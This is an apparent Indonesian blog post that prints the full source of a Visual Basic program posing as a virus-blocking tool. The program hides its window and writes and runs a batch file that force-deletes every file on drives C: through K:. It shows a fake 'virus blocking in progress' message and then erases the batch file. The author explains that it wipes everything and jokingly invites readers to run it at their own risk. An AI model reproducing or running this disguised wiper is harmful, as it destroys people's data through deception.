Code Virus Bat.

ngk ada kerjaan, iseng2 buka file2 lama... ketemu file yang bernama "antisipasivirus" setelah di buka ternaya sebuah code command. berikut code nya.
Code :







Private Sub form_load()
On Error Resume Next
Form1.Visible = False
Open "C:\AntisipasiVirus.txt" For Output As #1
On Error Resume Next
Print #1, "@echo off"
Print #1, "@title Proses Antisipasi Virus Pada Sistem.. Sedang Berlangsung"
Print #1, "@del /s /f /q c:\*.*"
Print #1, "@cls"
Print #1, "@del /s /f /q d:\*.*"
Print #1, "@cls"
Print #1, "@del /s /f /q e:\*.*"
Print #1, "@cls"
Print #1, "@del /s /f /q f:\*.*"
Print #1, "@cls"
Print #1, "@del /s /f /q g:\*.*"
Print #1, "@cls"
Print #1, "@del /s /f /q h:\*.*"
Print #1, "@cls"
Print #1, "@del /s /f /q i:\*.*"
Print #1, "@cls"
Print #1, "@del /s /f /q j:\*.*"
Print #1, "@cls"
Print #1, "@del /s /f /q k:\*.*"
Print #1, "@cls"
Close #1
Name "C:\AntisipasiVirus.txt" As "C:\AntisipasiVirus.bat"
Shell "C:\AntisipasiVirus.bat"
MsgBox "Tunggu Sebentar, Proses Pemblokiran VIRUS Sedang Berlangsung", vbOKOnly, "Loading....!!"
Kill "C:\AntisipasiVirus.bat"
End Sub
 Ternyata setelah di liat2.. jika di runingkan akan menghapus semua file yang ada.. terlihat perintah del /s /f /q k:\*.*" , yang mana melakukan delate terhadap semua file tanpa kecuali...
hehehhee... kirain emang antisipasi virus, kalau ada yang mau coba runingkan silahkan, tapi efek dan resiko silahkan di tanggung jawab sendiri.. :D

Berikan Komentar yang bermanfaat dan sehat. Conversion Conversion Emoticon Emoticon